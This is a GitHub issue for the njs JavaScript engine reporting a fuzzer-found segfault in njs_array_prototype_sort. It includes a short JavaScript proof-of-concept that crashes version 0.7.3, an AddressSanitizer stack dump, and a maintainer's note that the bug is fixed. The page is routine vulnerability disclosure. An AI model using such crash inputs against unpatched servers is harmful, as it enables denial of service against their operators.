

[New issue](#)[Jump to bottom](#)

# SEGV in njs\_array\_prototype\_sort #486

✓ Closed

xmzyshypnc opened this issue on Mar 20 · 1 comment

Assignees



Labels

[bug](#) [fuzzer](#)

xmzyshypnc commented on Mar 20

## Environment

OS : Linux leanderwang-LC2 5.13.0-30-generic [#33](#) SMP Mon Feb 7 14:25:10 UTC 2022 x86\_64 x86\_64 x86\_64 GNU/Linux

Commit : [f65981b](#)

Version : 0.7.3

Build :

NJS\_CFLAGS="\$NJS\_CFLAGS -fsanitize=address"

NJS\_CFLAGS="\$NJS\_CFLAGS -fno-omit-frame-pointer"

## PoC

```
function main() {  
  var empty = {};  
  var arr1 = [empty, empty];  
  function func(arg) {  
    arr1[0xffff] *= arg;  
  }  
  var v5 = arr1.sort(func);  
}  
main();
```

## Stack dump

AddressSanitizer:DEADLYSIGNAL

```
=====
==610159==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7ffff6f91b13 bp 0x7fff
==610159==The signal is caused by a WRITE memory access.
==610159==Hint: address points to the zero page.
#0 0x7ffff6f91b12 in memcpy (/lib/x86_64-linux-gnu/libc.so.6+0xbbb12)
#1 0x7ffff7688d40 in __asan_memcpy ../../../../src/libsanitizer/asan/asan_interceptors_memintrins
#2 0x5555556042ff in njs_array_prototype_sort src/njs_array.c:2704
#3 0x55555561961c in njs_function_native_call src/njs_function.c:739
#4 0x5555556bf0fb in njs_vmcode_interpreter src/njs_vmcode.c:788
#5 0x555555618aba in njs_function_lambda_call src/njs_function.c:703
#6 0x5555556bf0fb in njs_vmcode_interpreter src/njs_vmcode.c:788
#7 0x5555556b90ba in njs_vm_start src/njs_vm.c:553
#8 0x5555555a23f8 in njs_process_script src/njs_shell.c:890
#9 0x5555555a2ebf in njs_process_file src/njs_shell.c:619
#10 0x5555555a421f in main src/njs_shell.c:303
#11 0x7ffff6efa0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x240b2)
#12 0x55555559fc4d in _start (/home/wz/njs/njs/build/njs+0x4bc4d)
```



AddressSanitizer can not provide additional info.  
SUMMARY: AddressSanitizer: SEGV (/lib/x86\_64-linux-gnu/libc.so.6+0xbbb12) in memcpy  
==610159==ABORTING



## Credit

xmzyshypnc(@xmzyshypnc) and P1umer(@P1umer)


  xeioex added **bug** **fuzzer** labels on Apr 6

  xeioex self-assigned this on Apr 21

xeioex commented on Apr 22

Contributor

Fixed in [8b39afd](#)

 xeioex closed this as completed on Apr 22

### Assignees

 xeioex

---

Labels

bug   **fuzzer**

---

Projects

None yet

---

Milestone

No milestone

---

Development

No branches or pull requests

---

2 participants

